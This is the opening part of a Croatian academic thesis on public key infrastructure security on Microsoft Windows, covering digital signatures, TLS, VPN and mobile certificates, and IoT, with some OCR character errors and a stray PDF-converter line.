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SIGURNOSNI ASPEKTI INFRASTRUKTURE JAVNOG KLJUCA NA
ARHITEKTURI MICROSOFT WINDOWS

SAZETAK

Sigurnosni aspekti infrastrukture javnog klju¢a na arhitekturi Microsoft Windows
predstavljaju kljuéni element u osiguravanju povjerljivosti, integriteta i autenti¢nosti digitalnih
podataka u modernim informacijskim sustavima. Kroz rad analizirani su razli¢iti aspekti PKlI-a,
pocevsi od temeljnih koncepata i1 pregleda dosadasnjih istrazivanja, preko prakti¢ne primjene i
tehnicke implementacije, do istraZivanja sigurnosnih izazova i buducih trendova razvoja PKI-a.
Kroz detaljnu analizu sigurnosnih aspekata PKI-a, ovaj rad pokazao je da unato¢ visokoj razini
sigurnosti, postoje specifi¢ne ranjivosti koje zahtijevaju pazljivo upravljanje i stalno pracenje. Rad
nudi sveobuhvatan pregled sigurnosnih aspekata PKI-a i pruza smjernice za uspjesnu primjenu i
zastitu u Microsoft Windows okruzenju.

KLJUCNE RIJECI: Infrastruktura javnog kljuéa, certifikati, certificirajuéi predlosci, ADCS
napadi



SECURITY ASPECTS OF PUBLIC KEY INFRASTRUCTURE ON
MICROSOFT WINDOWS ARCHITECTURE

SUMMARY

The security aspects of the public key infrastructure on the Microsoft Windows architecture
represent a key element in ensuring the confidentiality, integrity and authenticity of digital data in
modern information systems. Through the paper, various aspects of PKI were analyzed, starting
from the basic concepts and overview of previous research, through practical application and
technical implementation, to the research of security challenges and future trends of PKI
development. Through a detailed analysis of the security aspects of PKI, this paper has shown that
despite the high level of security, there are specific vulnerabilities that require careful management
and constant monitoring. The paper offers a comprehensive overview of the security aspects of
PKI and provides guidance for successful implementation and protection in a Microsoft Windows
environment.

KEYWORDS: Public Key Infrastructure, Certificates, Certificate Templates, ADCS attacks
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1. Uvod

U danasnjem digitalnom dobu, sigurnost informacija postala je klju¢na komponenta u
osiguravanju privatnosti i integriteta podataka. Jedan od temeljnih mehanizama za postizanje ove
sigurnosti je infrastruktura javnog kljuca (engl. Public Key Infrastructure - PKI). Ona omogucuje
sigurno upravljanje digitalnim certifikatima 1 kriptografskim kljuevima, pruzajuéi osnovu za
autentifikaciju, enkripciju i digitalne potpise. Posebno je vazna u okruzenju operacijskih sustava
kao Sto je Microsoft Windows, koji se Siroko koristi u poslovnim i privatnim okruzZenjima diljem
svijeta.

Arhitektura Microsoft Windows nudi integrirane alate i servise za implementaciju PKI-a,
kao $to su AD CS (engl. Active Directory Certificate Services), koji omogucéuju korisnicima
izdavanje 1 upravljanje digitalnim certifikatima unutar mreze organizacije. Medutim,
implementacija PKI-a na ovoj platformi sa sobom nosi niz sigurnosnih izazova. Upravljanje
kljuCevima, zastita certifikata, autentifikacija korisnika, te sigurnosne politike su samo neki od
aspekata koji zahtijevaju pazljivo planiranje i provedbu.

Ovaj rad istrazuje sigurnosne aspekte infrastrukture javnog kljuca na arhitekturi Microsoft
Windows, s posebnim fokusom na najbolje prakse, izazove i rjesenja koja omogucuju visoku razinu
sigurnosti u poslovnim okruzenjima. Analizirat ¢e se razliiti sigurnosni mehanizmi, pristupi i
propusti u upravljanju certifikatima, te utjecaj sigurnosnih politika na cjelokupnu arhitekturu
sustava. Cilj rada je pruziti sveobuhvatan pregled sigurnosnih aspekata infrastrukture javnog kljuca
na Microsoft Windows operativnom sustavu, te ponuditi smjernice za implementaciju sigurnih i
pouzdanih PKI sustava.

Diplomski rad sastoji se od sedam poglavlja:

Uvod

Pregled dosadasnjih istrazivanja

Primjena infrastrukture javnog kljuca
Implementacija infrastrukture javnog kljuca
Istrazivanje sigurnosnih izazova

Budu¢i trendovi razvoja infrastrukture javnog kljuca
Zakljucak
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Unutar drugog poglavlja obuhvacen je pregled relevantnih istrazivanja i literature na
podrucju infrastrukture javnog kljuca. Analiziraju se postojeca rjeSenja, metode i tehnike koje su
koriStene u dosadasnjim istraZivanjima, te se identificiraju klju¢ni problemi i izazovi u podrucju
sigurnosti PKI-a.

U tre¢em poglavlju detaljno se opisuje primjena PKI-a u razli¢itim kontekstima i
scenarijima. Prikazuju se prakti¢ni primjeri i studije sluc¢aja koje ilustriraju kako PKI moze
unaprijediti sigurnost i efikasnost u poslovnim okruzenjima. Takoder se razmatraju specificne
industrijske potrebe 1 zahtjevi, te kako PKI moze zadovoljiti te zahtjeve.



Cetvrto poglavlje se fokusira na tehni¢ke aspekte implementacije PKI-a na Microsoft
Windows operativnom sustavu. Objasnjavaju se koraci i postupci potrebni za uspostavu PKlI-a,
ukljuc¢ujuéi konfiguraciju AD CS-a i upravljanje certifikatima. Osim toga, opisuju se mrezne
karakteristike potrebne kako bi PKI uredno ispunjavao svoje moguénosti unutar domene.

U petom poglavlju su provedena dva napada nad ranjivim predloScima unutar PKI-a.
Paralelno s probojima, poglavlje analizira sigurnosne izazove povezane s implementacijom i
upravljanjem PKI-om.

U Sestom poglavlju rada istrazuju se budu¢i trendovi i inovacije u podrucju PKI-a.
Analiziraju se najnovija tehnoloska dostignuca i1 predvidanja o tome kako ¢e se PKI razvijati u
narednim godinama, ukljucujuéi utjecaj novih sigurnosnih standarda i tehnologija. Razmatra se
potencijal umjetne inteligencije i strojnog ucenja u unapredenju PKI-a, te kombinacija blockchain
tehnologije 1 PKI-a kako bi se postigli uvjeti koji ¢e zadovoljiti buduce zahtjeve infrastrukture
javnog kljuca.



2. Pregled dosadasnjih istrazivanja

Sukladno brojnim ranjivostima i na¢inima probijanja napadaca u infrastrukturu razvija se
rjeSenje infrastrukture javnog kljuca (engl. Public Key Infrastructure - PKI) koja je zazivjela Siroku
primjenu u brojnim tvrtkama diljem svijeta. Prate¢i ubrzan razvoj tehnologije, PKI je svoju svrhu
pronasSao u sferi sigurnosti sustava. Istrazivanja navedena ispod teksta ujedinjuju razli¢ite metode
instalacije sustava i kreativne ideje kako bi se PKI sustav mogao unaprijediti, te smanjiti rizik
neovlastenih radnji vezanih za autentifikaciju i autorizaciju osoba i aplikacija putem Interneta.
Takoder, radovi ispod sadrze detaljno razraden postupak razvijanja takvog sustava na Microsoft
Windows arhitekturi.

Prema radu [1] iz 2007. razmatraju se sigurni i u¢inkoviti nacini Sifriranja javnim klju¢em,
te sheme potpisa koriste¢i infrastrukturu javnog kljuca. Za razliku od tradicionalnih analiza koje
istrazivanja temelje na pretpostavci idealnog okruzenja, u ovom radu je realniji pristup na nacin da
su autori pretpostavili kako sustav ima propuste i ranjivosti. Analiza koju autori provode pojasnjava
i potvrduje nekoliko klju¢nih aspekata kao Sto su stupanj povjerenja u certificirajuca tijela, potreba
1 specifi¢nosti dokaza o posjedovanju tajnih klju€eva, te sigurnost osnovnih znacajki infrastrukture
javnog klju¢a u ovom sloZzenom okruzenju. Takoder se definiraju konstrukcije za Sifriranje i sheme
potpisa koje zadovoljavaju snazne sigurnosne definicije efikasnije od tradicionalnih konstrukcija
koje pretpostavljaju da se digitalni certifikat izdan od strane certificirajuceg tijela mora provjeravati
svaki put kad se koristi javni kljug, [1].

Osim toga, knjiga se usredotocuje na dizajn i standardizaciju PKI-ja, posebno u kontekstu
projekta standardizacije ANSI X9.109. Autori pruzaju smjernice za poboljSanje dizajna PKl-ja i
definiraju vazne aspekte koji trebaju biti uzeti u obzir prilikom implementacije PKI-ja u stvarnom
okruzenju, [1].

Sveukupno, knjiga A Closer Look at PKI: Security and Efficiency je temeljita 1
sveobuhvatna knjiga koja pruza dublje razumijevanje sigurnosnih aspekata infrastruktura javnog
klju€a. Njezini rezultati istrazivanja, analize i konstrukcije imaju vazne implikacije za praksu
dizajna, implementacije i standardizacije PKI-ja, te mogu pruZziti smjernice za poboljSanje
sigurnosti i u¢inkovitosti ovih kriti¢nih sustava, [1].

Clanak [2] napisan 2001. godine pruza uvide u infrastrukture javnih klju¢eva i njihovu
povijest, izazove 1 implementacije. Svako se poglavlje usredotocuje na specificne aspekte PKlI-ja,
a zajedno &ine sveobuhvatan pregled teme. Clanak govori o ulozi PKI-ja kao usluge, a ne kao
tehnologije, istiCu¢i njegovu vaznost kao komponentne infrastrukture. To¢no naglasava da sama
kriptografska tehnologija nije najkriticniji aspekt PKI-ja, ve¢ prije hijerarhija povjerenja i
sposobnost vezanja identiteta na javne kljuéeve. Clanak daje jasno objanjenje skalabilnosti PKI-
jainjegovog znacaja u pruzanju sigurnosnih rjeSenja za razlicite slojeve povezivanja. Takoder daje
kratku povijest PKI-ja, ocrtavajuci izazov povezivanja identiteta s javnim klju¢evima. Predstavlja
koncept certifikacijskih tijela (engl. Certificate Authority - CA) i digitalnih certifikata, nudeéi
vrijedan kontekst za razvoj PKI-a. Takoder rad zadire u specificna problemati¢na podrucja s



trenutnim infrastrukturama javnog kljuca, posebno u vezi s web preglednicima i njithovom
implementacijom sigurnosnih rjeSenja Sto ¢e se dodatno spominjati kasnije u radu. U ¢lanku se
poblize objasnio povijesni kontekst koji naglaSava razvoj tehnologije SSL (engl. Secure Sockets
Layer). Tekst pojasnjava izazove s kojima se certifikacijska tijela suocavaju u podrzavanju
razlicitih ponaSanja internet preglednika, [2].

Clanak istrazuje razli¢ite aspekte infrastrukture javnih kljuéeva, posebno se fokusirajuéi na
sucelja za provjeru valjanosti i protokole koji se koriste za provjeru statusa certifikata. U tekstu se
govori o izazovima povezanim s listama opozvanih certifikata (engl. Certificate revocation list -
CRL) i predstavlja alternativna rjesenja kao $to su OCSP (engl. Online Certificate Status Protocol)
i1 SCVP (engl. Simple Certificate Validation Protocol). Takoder predlaze bolja rjeSenja za
buduénost, kao Sto je centralizirano upravljanje politikama i1 uloga posrednika za provjeru
valjanosti preko viSe certifikacijskih tijela, [2].

Clanak [3] pruza sveobuhvatan pregled infrastrukture javnih klju¢eva i njezinog znacaja u
osiguravanju sigurnosti, autentifikacije, integriteta podataka 1 neporicanja za digitalne
komunikacije i transakcije. Razmatra se koriStenje digitalnih certifikata, uloge tijela za izdavanje
certifikata 1 vaznost poslovnog PKI-ja u zastiti informacijske imovine. Tekst je kvalitetno
strukturiran, predstavlja informacije logi¢nim redoslijedom s jasnim naslovima za svaki odjeljak.
Osim toga, Clanak objasnjava tehnologiju digitalnog potpisa, njezino oslanjanje na kriptografiju s
javnim kljuem i njezine primjene za osiguranje integriteta podataka. Jasno je objasnjena razlika
izmedu javnih i privatnih kljuceva, isticu¢i vaznost kontrole privatnih kljueva za sigurne
transakcije, [3].

Sveukupno, ovaj ¢lanak nudi zaokruZeno razumijevanje infrastrukture javnog kljuca i
njegovih prakti¢nih implikacija u osiguranju digitalnih komunikacija, osiguravanju autenti¢nosti
podataka i pojednostavljenju procesa rada. IstiCe prednosti sigurnih elektronic¢kih potpisa u
zamjenu za tradicionalna odobrenja temeljenih na papiru, $to dovodi do povecane ucinkovitosti 1
smanjenih troskova. Clanak takoder komentira izazove i razmatranja koja su ukljuéena u
implementaciju PKI-ja, pruzaju¢i vrijedne uvide organizacijama koje zele usvojiti ovu tehnologiju
za poboljSanu sigurnost i pouzdanost, [3].

U radu [4] je opisan rizik od krivotvorenja certifikata zbog nedostatka sigurnosnih rjeSenja
za odrzavanje infrastrukture javnog kljuca. Svrha istrazivanja je unaprjedenje digitalnog potpisa 1
koristenje QR koda (engl. Quick Response code) ¢ime bi se mogucnost preslikavanja certifikata
minimizirala. Razvoj napadackih tehnika uvodi nove prijetnje u servise izdavanja certifikata Sto bi
se koriStenjem aplikacije osmisljene u ovom radu znacajno smanjilo. Rad je podijeljen u dvije
osnovne kategorije, a to su kreacija e-certifikata i verifikacija istog putem QR koda, [4].

Clanak istrazuje problem validiranja stru¢nih certifikata, tj. zapisa o priznavanju koje su
pojedinci stekli nakon polozenih ispita u specifi¢nim podruc¢jima studija. Certifikati su vjerodajnice
vazne za stru¢njake jer ukazuju na njihovo znanje, sposobnosti i stav u skladu s industrijskim
standardima, c¢ine¢i ih konkurentnijima na trziStu rada, kvalificiranima za bolje place
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poboljsavajuci njihove izglede za karijeru. Problematika validacije stru¢nih certifikata rezultirala
je porastom laznih operacija koriStenjem laznih certifikata. Kriminalci su ukljuceni u izradu i
distribuciju laznih certifikata, ugrozavajuci legitimnost i autenti¢nost ispravnih certifikata, [4].

Cilj istrazivanja je izraditi aplikaciju pod nazivom creatcate koja objavljuje sigurne e-
certifikate, a istovremeno smanjuje krivotvorenje i umnozavanje. Integracija digitalnih potpisa 1
QR kodova poboljsava sigurnost 1 autenti¢nost certifikata, ¢ine¢i postupak verifikacije lakSim za
korisnike. PredloZeno rjeSenje ima za cilj minimizirati izradu certifikata, eliminirati dupliciranje
certifikata 1 poboljSati ukupnu sigurnost procesa certificiranja spajanjem digitalnih potpisa s QR
kodovima. Ovo istrazivanje posebno je istaknuto i ukljuceno zbog svoje znacajne novine, a to je
da se prvi put razmatra uvodenje QR koda kao inovativnog nacina za provjeru autenticnosti
certifikata. Ovaj pristup predstavlja potencijalno revolucionarnu metodu validacije koja bi mogla
unaprijediti sigurnost infrastrukture javnog kljuca i olakSati provjeru vaznih dokumenata, [4].



3. Primjena infrastrukture javnog kljuca

Infrastruktura javnog kljuca je skup tehnologija kojim se omogucéuje sigurna razmjena
informacija putem mreze. PKI se temelji na koriStenju javnog i privatnog kljuc¢a koji se prilikom
izrade stvaraju u paru. Javni klju¢ kriptografskog para je dostupan svima i koristi se za Sifriranje
podataka ili verifikaciju digitalnog potpisa, dok je privatni kljuc tajni klju¢ poznat samo vlasniku,
te se koristi za deSifriranje podataka ili kreaciju digitalnog potpisa. PKI infrastruktura sluzi za
generiranje, distribuciju, upravljanje i povlacenje javnih kljuceva, kao i za verifikaciju identiteta
korisnika, [5].

3.1.  Digitalni potpis
Koristenje infrastrukture javnog kljuca za digitalno potpisivanje je jedna od kljucnih
primjena PKI tehnologije. Digitalno potpisivanje omogucuje pouzdano i cjelovito koriStenje
elektronskih dokumenata, poruka ili transakcija. Prednosti koristenja infrastrukture javnog kljuca
za digitalno potpisivanje ukljucuje, [5]:

e Autentifikaciju - potpis na dokumentu potice od ispravnog izvora,

e Pouzdanost - dokument je potpisan od strane certificirajuceg tijela koji je priznat
kao sluzbeno javno certificirajuce tijelo,

e Integritet - dokument nije mijenjan nakon potpisa,

e Neporecivost — digitalni potpis ne moze biti promijenjen ili obrisan bez traga.

FINA je digitalni potpis definirala kao potvrdu u elektronickom obliku koja predstavlja
elektronicki identitet u elektronickim transakcijama koji omogucéuje sigurnu i povijerljivu
komunikaciju internetom te dokazuje autenti¢nost primljene informacije. Takoder, FINA je
certifikate podijelila po namjeni, a to su idu¢i, [6]:

e Kuvalificirani certifikati za elektronicki potpis,
e C(Certifikati za autentikaciju,

Certifikati za elektronicki pecat,
e Certifikati za aplikacije.

Zahtjevi koji se postavljaju pred digitalni potpis mogu se formulirati na temelju razmatranja
svojstava potencijalnih aktualnih prijetnji i slabosti. Neki od zahtjeva digitalnog potpisa su, [7]:

¢ Digitalni potpis mora biti oblikovan kao niz bitova koji se temelji na poruci koja se
potpisuje,

e Zapotpisivanje se moraju koristiti podaci koji su poznati samo posiljatelju, kako bi
se sprijecilo krivotvorenje i poricanje,

¢ Digitalni potpis mora biti relativno jednostavan za generiranje,

e Potpis mora biti lako prepoznatljiv i provjerljiv na jednostavan nacin,



e Stvaranje ili manipulacija digitalnim potpisom mora biti rac¢unalno neizvediva, bilo
putem konstruiranja nove poruke koja odgovara postoje¢em potpisu ili stvaranja
laznog digitalnog potpisa za odredenu poruku,

e Potpis mora omoguciti prakti¢no pohranjivanje kopije digitalnog potpisa.

Digitalni potpisi su vazan alat u osiguravanju autenti¢nosti i integriteta digitalnih podataka,
ali kao 1 svaki sigurnosni mehanizam imaju svoje slabosti. Slabosti digitalnih potpisa ukljucuju
ranjivosti u sigurnosti privatnih klju¢eva, moguénost napada na samu kriptografsku shemu i
potencijalne prijetnje od napadaca koji koriste napredne tehnike kao Sto su kvantna racunala.
Idu¢om podjelom su definirane razine moguceg utjecaja probijanja sigurnosti digitalnog potpisa
od strane napadaca, [7]:

e Potpuni prekid - Napadac otkriva korisnikov privatni kljuc,

e Univerzalno krivotvorenje - Napada¢ otkriva u¢inkovit algoritam potpisivanja koji
omogucuje izgradnju valjanih potpisa za proizvoljne poruke,

e Selektivno krivotvorenje - Napadac krivotvori potpis za odredenu poruku koju je
napadac odabrao,

e Egrzistencijalno krivotvorenje - Napada¢ krivotvori potpis za barem jednu poruku,
pri ¢emu napadac¢ nema kontrolu nad odabranom porukom. Stoga, ta krivotvorina
moze samo djelomi¢no narusiti integritet korisnika.

3.2.  Sifriranje komunikacije

Kao i u svakoj inacici koriStenja infrastrukture javnog kljuca, prvi korak je generiranje para
klju€eva. Javni klju€ je javno dostupan i koristi se za Sifriranje komunikacije, dok privatni klju¢
sluzi za deSifriranje komunikacije. Nakon generiranja para kljuceva, digitalni certifikati izdaju se
u svrhu potvrdivanja identiteta vlasnika kljuca. Certifikat je digitalni dokument koji sadrzi
informacije o vlasniku kljuca, poput imena, adrese e-poste i1 javnog kljuca. Kako bi se osiguralo
povjerenje u autenticnost certifikata, on mora biti potpisan od strane pouzdane trece strane -
certifikacijskog tijela. CA provjerava identitet vlasnika kljuca, odraduje postupak provjere
autenti¢nosti 1 integriteta podataka, te potpisuje certifikat svojim privatnim klju¢em. Na taj nacin
se osigurao integritet certifikata, te je potvrdeno da je izdan od strane pouzdane organizacije, [8].

Nakon §to su certifikati potpisani i infrastruktura javnog kljua je postojana, slijedi
distribucija certifikata. Certifikati se distribuiraju putem javno dostupnih repozitorija koristeci
protokole poput HTTP-a (engl. Hypertext Transfer Protocol). Upotrebom javnih repozitorija
osigurava se pristup korisniku do javnog kljuca certificirajuceg tijela koji je potreban kako bi se
izgradio lanac povjerenja certifikata kako bi korisni¢ki certifikat bio validan. Spomenute lokacije
ili repozitoriji se jo§ nazivaju i tocke distribucije certifikata (engl. Certificate Distribution Point -
CDP). CDP lokacija je pohranjena u svakom certifikatu, te je nuzna za potvrdu autenti¢nosti
certifikata na dnu lanca. Osim CDP lokacije bitno je spomenuti listu opoziva certifikata (engl.
Certificate Revocation List - CRL). Putanja CRL liste je takoder zapisana unutar svakog certifikata,
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te sluzi tome da bi se moglo ustvrditi nalazi li se krajnji certifikat na toj listi. Svaki certifikat koji
se nalazi na CRL listi je iz nekog razloga opozvan, te viSe nije pravovaljan. Primjeri opozivanja
certifikata mogu biti scenariji poput kompromitacije privatnog kljuca, laznog predstavljanja s
informacijama unutar samog certifikata i sli¢no, [9].

Nakon §to se provjeri CDP 1 CRL lokacija, te se ustanovi da je certifikat vazeci i izdan od

strane certificiraju¢eg tijela koje je javno legitimno, korisniku se omogucuje HTTPS (engl.
Hypertext transfer protocol secure) komunikacija §to zna¢i da se komunikacija odvija preko
protokola koji je ifriran. Sifrirana komunikacija se odnosi na postupak pretvaranja podataka u
necitljiv oblik koji se moze ¢itati samo uz pomo¢ odgovarajuceg kljuca ili Sifre. Nekoliko klju¢nih
prednosti Sifrirane komunikacije su, [10]:

[10]:

Sigurnost podataka — Stiti podatke od neovlastenog pristupa. Ukoliko komunikacija
bude kompromitirana, podaci ¢e i dalje biti necitljivi bez kljuca za deSifriranje,
Vjerodostojnost — Sifrirana komunikacija pruza autentiénost podataka i identiteta
strana koje komuniciraju,

Povjerljivost — Samo osobe s odgovaraju¢im klju¢em mogu desifrirati podatke.
Povjerljivost je nuzna u razmjenama financijskih podataka, osobnih podataka ili
povjerljivih poslovnih informacija,

Integracija u mreznu sigurnost — Sifriranje je vazan dio sigurnosnih protokola i
zaStite infrastrukture. Svoju svrhu pronalazi u raznim mreZznim aplikacijama,
protokolima, virtualnim privatnim mrezama, te osiguravanju slanja elektri¢ne poste,
Uskladenost s propisima — Koristi se kao mjera uskladenosti sa zakonima i
propisima koji su odgovorni za regulaciju zastite privatnosti podataka, poput opce
uredbe o zastiti podataka (engl. General Data Protection Regulation — GDPR).

lako Sifriranje pruza visoku razinu sigurnosti, vazno je napomenuti da nije potpuno
neprobojno. Sigurnost Sifriranih podataka ovisi o Siframa, kljucevima i kvaliteti koriStenih
algoritama za Sifriranje. Sigurnost Sifrirane komunikacije moZze biti ugrozena na nekoliko nacina,

Kako

Slab algoritam - KoriStenje zastarjelog ili slabijeg algoritma olakSava probijanje
Sifrirane komunikacije,

Slaba §ifra ili klju¢ - Kratkotrajne, predvidljive ili slabo generirane Sifre ili kljucevi
lakSe budu probijenti,

Napadi na kljuceve - Ukljucuje metode poput brute-force napada ili napada na baze
podataka kljuceva,

Napadi na implementaciju - Ranjivosti u softveru, hardveru ili mreznoj
infrastrukturi pruzaju priliku za pristupanjem Sifriranim podacima.

bi se onemogucila kompromitacija infrastrukture javnog klju¢a 1 Sifrirane

komunikacije vazno je redovito azurirati kriptografske algoritme 1 pratiti najnovije preporuke i
standarde. Takoder je vazno da organizacije koriste sigurne prakse u generiranju, upravljanju i
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zastiti kljuceva. lako Sifriranje nije neprobojno, s pravilno implementiranim algoritmima, jakim
Siframa 1 kljuevima te pazljivom sigurnosnom praksom moze pruziti visoku razinu sigurnosti za
Sifrirane podatke, [10].

Sifrirana komunikacija se odvija preko sigurnosnih protokola koji se baziraju na
kriptografiji kao takvoj, Sto zna¢i da se prilikom komunikacije koriste kljucevi. Sigurnosni
protokoli su kljucni elementi zastite podataka i komunikacije u digitalnom svijetu. Uz sve vecu
prisutnost interneta i ovisnost o razmjeni podataka putem mreza, sigurnost postaje prioritetni cilj
za organizacije 1 pojedince. Sigurnosni protokoli, koji se temelje na kriptografiji, pruzaju
mehanizme zastite podataka od prisluskivanja, manipulacije, neovlastenog pristupa ili krade [11].

Jedan od najpoznatijih i najceS¢e koriStenih sigurnosnih protokola je SSL/TLS (engl.
Secure Sockets Layer/Transport Layer Security). Slikom 1 ispod prikazan je polozaj SSL/TLS
sigurnosnog protokola u mreznim modelima OSI (engl. Open Systems Interconnection) i TCP/IP
(engl. Transmission Control Protocol/Internet Protocol), [11].

TLS/SSL Protokol
il B rm aYd 2 Y i b
OSI Model § % S \ TCPI/IP Model
sloj aplikacije | & :8:’ % ‘% §
j aplikacij % 3% 5 % Aplikacijski sloj
sloj prezentacije S % o §~ Eu )
o =l |- 2 [ l
sloj sesija g : Prijenosni sloj
. 7 . o N >
Transportni sloj Zapis : '
Mrezni sloj ] Internet sloj
Sloj veze 1 p -
- Sloj mreznog
Fizi€ki sloj pristupa

Slika 1. Polozaj SSL/TLS protokola u mreznim modelima OSI i TCP/IP, [12]

SSL/TLS se koristi za zaStitu web prometa (HTTPS) i aplikacija koje zahtijevaju sigurnu
komunikaciju putem interneta. Ovaj protokol koristi kombinaciju simetricne i asimetricne
kriptografije kako bi Sifrirao podatke izmedu klijenta i posluzitelja, osiguravajuci da neovlastene
osobe ne mogu presresti ili procitati podatke, [11].



3.3.  Virtualne privatne mreze (VPN)

Sigurnost na internetu postaje sve vaznija kako se digitalna era nastavlja razvijati. U svijetu
u kojem se velika koli¢ina informacija prenosi putem mreze, zaStita privatnosti i povjerljivosti
postaju imperativ. Jedan od klju¢nih alata koji pruza sigurnost i privatnost na internetu je virtualna
privatna mreza (engl. Virtual Private Network - VPN). VPN pruza sigurnu vezu izmedu
korisnikovog uredaja i infrastrukture tako da se podaci kriptiraju 1 prolaze kroz poseban tunel. Time
se osigurava da korisnikova privatnost ostane netaknuta i da se osjetljivi podaci ne mogu lako
presresti ili deSifrirati. Certifikati igraju vaznu ulogu u zastiti virtualne privatne konekcije pruzavsi
joj sloj sigurnosti kroz autentifikaciju, enkripciju, integritet podataka i1 povjerljivost. Certifikati su
digitalni identifikatori koji potvrduju autenti¢nost i identitet sudionika u VPN-u. Oni osiguravaju
da korisnik komunicira s pravim VPN posluziteljem, a ne sa zlonamjernim napadacem koji
pokusava pristupiti podacima. Certifikati takoder pruzaju mehanizme za enkripciju podataka i
provjeru integriteta tijekom komunikacije. Bez certifikata, VPN bi bio ranjiv na razli¢ite vrste
napada, ukljucujuéi prisluskivanje, laziranje identiteta i kradu podataka, [13].

VPN posluzitelj ima svoj certifikat koji potvrduje njegovu autenti¢nost, dok korisnik ima
svoj certifikat koji potvrduje njegov identitet. Kada se korisnik povezuje s VPN posluziteljem, oba
certifikata se razmjenjuju kako bi se provjerile identifikacije i osiguralo povjerenje izmedu njih.
Kada se uspostavi veza, koristi se javni klju¢ sadrzan u certifikatu kako bi se sigurno razmijenio
simetri¢ni klju€ koji se koristi za enkripciju podataka tijekom komunikacije. Certifikati osiguravaju
da samo autorizirani sudionici mogu dekriptirati podatke. Tijekom trajanja konekcije koriste se
digitalni potpisi koji se generiraju pomocu privatnog kljuca sadrzanog u certifikatu. Digitalni
potpisi se u ovom slucaju koriste za provjeru da su podaci tijekom prijenosa ostali netaknuti 1
nepromijenjeni, [13].

Slikom 2 prikazano je sucelje kreiranja nove VPN konekcije u alatu FortiClient VPN.
Prilikom postavljanja VPN pristupnih podataka nalazi se moguénost dodavanja certifikata kako bi
se osigurala sigurna povezanost.
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Upgrade to the full version to access additional features and receive technical support.
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Slika 2. Certifikati za VPN u FortiClient VPN alatu

Certifikati mogu biti pohranjeni na tri razlicite lokacije, a to su, [13]:

e certifikati - lokalno racunalo,
e certifikati - trenutni korisnik,
e Pametna kartica za pohranu certifikata.

3.4. Mobilne aplikacije

Mobilni uredaji su revolucionirali poslovne operacije, omogucuju¢i tvrtkama i
zaposlenicima da ostanu u kontaktu i van ureda. lako povecana povezanost donosi prednosti za
poslovanje, ona takoder uvodi znacajne sigurnosne prijetnje, probleme s privatnoscu i ranjivosti u
poslovne sustave. 1z perspektive poslodavca, upravljanje povjerenjem u mobilnim okruzenjima
sli¢no je upravljanju povjerenjem u korporativnim raCunalima. IT odjeli koriste alate za
centralizirano upravljanje softverom i aplikacijama te aktivni direktorij za postavljanje korisnickih
uloga 1 pravila. Vecéina organizacija ne dozvoljava zaposlenicima preuzimanje softvera ili
aplikacija na korporativna racunala, niti im dopusta koriStenje osobnih prijenosnih racunala za
pristup svim korporativnim mrezama i podacima. Dakle, kao §to je slucaj s korporativhim
racunalima, samo autoriziranim i provjerenim mobilnim uredajima treba biti omogucen pristup
korporativnim resursima, [14].
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Certifikati za mobilne aplikacije su digitalni potpisi koji se koriste za verifikaciju integriteta
1 autenti¢nosti mobilnih aplikacija, siguran pristup elektroni¢koj posti, enkripciju elektronicke
poste, osiguran Wi-Fi (engl. Wireless Fidelity), VPN pristup i sli¢no, [14].

Na primjeru instalacije aplikacija, postupak koriStenja certifikata za mobilne aplikacije
moze se opisati u nekoliko koraka. Prvo, izdavacka kuca ili razvojni tim koji stoji iza mobilne
aplikacije generira digitalni certifikat. Ovaj certifikat se moze izdati od strane certifikacijskog tijela
ili se moze samostalno potpisati ukoliko je rije¢ o internom izdanju aplikacije. Drugo, nakon $to je
mobilna aplikacija razvijena, izdava¢ koristi privatni klju¢ certifikata kako bi digitalno potpisao
aplikaciju. Taj potpis je jedinstven za svaku aplikaciju i koristi se kao dokaz o autenti¢nosti. Zatim
se certifikat zajedno s potpisanim aplikacijskim paketom distribuira na relevantne trgovine
aplikacija poput Apple App Store-a ili Google Play Store-a. Takoder, certifikat se moze distribuirati
1 putem drugih kanala, kao $to su interni sustavi ili alternativne trgovine aplikacija. Korisnici koji
preuzmu mobilnu aplikaciju s trgovine aplikacija ili drugog izvora mobilnih aplikacija koriste
certifikate kako bi provjerili autenti¢nost aplikacije prije nego je instaliraju. U pozadini, uredaji
koriste javni kljuc¢ certifikata za provjeru digitalnog potpisa aplikacije. Da bi se vjerovalo
certifikatu, uredaji koriste korijenske certifikate za povjerenje. Korijenski certifikati (engl. Root
Certificates) su certifikati izdavackih kuca koje su ve¢ prepoznate kao pouzdane. Ako je certifikat
mobilne aplikacije izdan od strane vjerodostojne izdavacke kuce i potpisan njenim privatnim
kljuc¢em koji se moze povezati s valjanim korijenskim certifikatom, uredaj ¢e vjerovati certifikatu
aplikacije. Ovaj proces povjerenja i provjere certifikata osigurava korisnicima da je aplikacija
autenti¢na, da nije izmijenjena nakon potpisivanja te da je izdavacka kuca prepoznata i provjerena.
Time se sprjecava distribucija zlonamjernih aplikacija ili aplikacija koje su izdane od neovlastenih
izdavaca, [14].

Prednosti koriStenja digitalnih certifikata u sferi mobilnih uredaja su, [15]:

e Poboljsano korisnic¢ko iskustvo — manji zahtjevi za upis lozinke,

e Povecana sigurnost — baze podataka koje pohranjuju lozinke Cesto budu mete
napada, dok je rjedi oblik napada na digitalne certifikate,

e Medusobna povezanost u povjerenju korijenskih certifikata izmedu razli¢itih
operativnih sustava mobilnih uredaja,

e Ekonomican nacin uvodenja sigurnosnog sloja — za razliku od MDM-a (engl.
Mobile Device Management) 1 EMM-a (engl. Enterprise Mobility Management),
primjena PKI digitalnih certifikata je ve¢ prisutna u ve¢ini mobilnih uredaja. Samim
time, osiguravanje uredaja pomocu certifikata ne zahtjeva velika ulaganja, te
podesavanje 1 odrZavanje nije komplicirano.
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3.5. Internet stvari
Eksplozivan rast senzorskih i1 pokretackih uredaja povezanih s Internetom donosi brojne
sigurnosne izazove u svijetu tehnologije. Bez obzira na to koliko je svaki pojedini uredaj
jednostavan, Internet stvari predstavlja znacajnu sigurnosnu prijetnju zbog svojih ogromnih
razmjera, [16].

IoT (engl. Internet of Things) uredaji konstantno prikupljaju i razmjenjuju osjetljive
podatke, najcesce je naglasak na osobnim podacima. Nedostatak sigurnih veza izlaze podatke
napadima i kradi. Kako bi se ovi podaci zastitili od neovlastenog pristupa, PKI koristi asimetricne
kriptografske algoritme kako bi omoguéio sigurnu razmjenu kljuceva izmedu uredaja. Time se
osigurava da samo ovlaSteni uredaji mogu dekriptirati i pristupiti podacima, [16].

PKI olakSava sigurnu razmjenu simetri¢nih klju¢eva izmedu IoT uredaja. lako je simetri¢na
kriptografija brza od asimetri¢ne, ona zahtijeva prethodno dijeljenje kljuceva, §to je teze uciniti u
